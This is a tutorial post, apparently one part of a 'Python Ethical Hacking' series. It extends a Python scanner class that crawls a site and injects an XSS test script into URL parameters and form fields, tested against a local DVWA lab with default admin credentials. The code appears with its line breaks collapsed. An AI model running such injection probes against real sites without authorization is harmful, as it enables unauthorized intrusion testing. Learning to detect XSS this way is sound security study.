Python Ethical Hacking - VULNERABILITY SCANNER(8)，Ethical,Implementi

Python Ethical Hacking - VULNERABILITY SCANNER(8)，Ethical,Implementi

Implementing Code To Discover XSS in Parameters

1. Watch the URL of the XSS reflected page carefully.

2. Add thetest_xss_in_link method in the Scanner class.

#!/usr/bin/env pythonimport requestsimport refrom bs4 import BeautifulSoupfrom urllib.parse import urljoinclass Scanner:    def __init__(self, url, ignore_links):        self.session = requests.Session()        self.target_url = url        self.target_links = []        self.links_to_ignore = ignore_links    def extract_links_from(self, url):        response = self.session.get(url)        return re.findall(‘(?:href=")(.*?)"‘, response.content.decode(errors=‘ignore‘))    def crawl(self, url=None):        if url == None:            url = self.target_url        href_links = self.extract_links_from(url)        for link in href_links:            link = urljoin(url, link)            if "#" in link:                link = link.split("#")[0]            if self.target_url in link and link not in self.target_links and link not in self.links_to_ignore:                self.target_links.append(link)                print(link)                self.crawl(link)    def extract_forms(self, url):        response = self.session.get(url)        parsed_html = BeautifulSoup(response.content.decode(), features="lxml")        return parsed_html.findAll("form")    def submit_form(self, form, value, url):        action = form.get("action")        post_url = urljoin(url, action)        method = form.get("method")        inputs_list = form.findAll("input")        post_data = {}        for input in inputs_list:            input_name = input.get("name")            input_type = input.get("type")            input_value = input.get("value")            if input_type == "text":                input_value = value            post_data[input_name] = input_value        if method == "post":            return requests.post(post_url, data=post_data)        return self.session.get(post_url, params=post_data)    def run_scanner(self):        for link in self.target_links:            forms = self.extract_forms(link)            for form in forms:                print("[+] Testing form in " + link)            if "=" in link:                print("[+] Testing " + link)    def test_xss_in_link(self, url):        xss_test_script = "<sCript>alert(‘test‘)</scriPt>"        url = url.replace("=", "=" + xss_test_script)        response = self.session.get(url)        return xss_test_script in response.content.decode()    def test_xss_in_form(self, form, url):        xss_test_script = "<sCript>alert(‘test‘)</scriPt>"        response = self.submit_form(form, xss_test_script, url)        return xss_test_script in response.content.decode()

3. Test this scanner.

#!/usr/bin/env pythonimport scannertarget_url = "http://10.0.0.45/dvwa/"links_to_ignore = "http://10.0.0.45/dvwa/logout.php"data_dict = {"username": "admin", "password": "password", "Login": "submit"}vuln_scanner = scanner.Scanner(target_url, links_to_ignore)vuln_scanner.session.post("http://10.0.0.45/dvwa/login.php", data=data_dict)# vuln_scanner.crawl()forms = vuln_scanner.extract_forms("http://10.0.0.45/dvwa/vulnerabilities/xss_r/")print(forms)response = vuln_scanner.test_xss_in_link("http://10.0.0.45/dvwa/vulnerabilities/xss_r/?name=test")print(response)

Test the web page - http://10.0.0.45/dvwa/vulnerabilities/xss_r/?name=test:

vuln_scanner.test_xss_in_link("http://10.0.0.45/dvwa/vulnerabilities/xss_r/?name=test")

It is vulnerable on XSS.

Test the web page - http://10.0.0.45/dvwa/vulnerabilities/fi/?page=include.php:

vuln_scanner.test_xss_in_link("http://10.0.0.45/dvwa/vulnerabilities/fi/?page=include.php")

It is not vulnerable on XSS.

Python Ethical Hacking - VULNERABILITY SCANNER(8)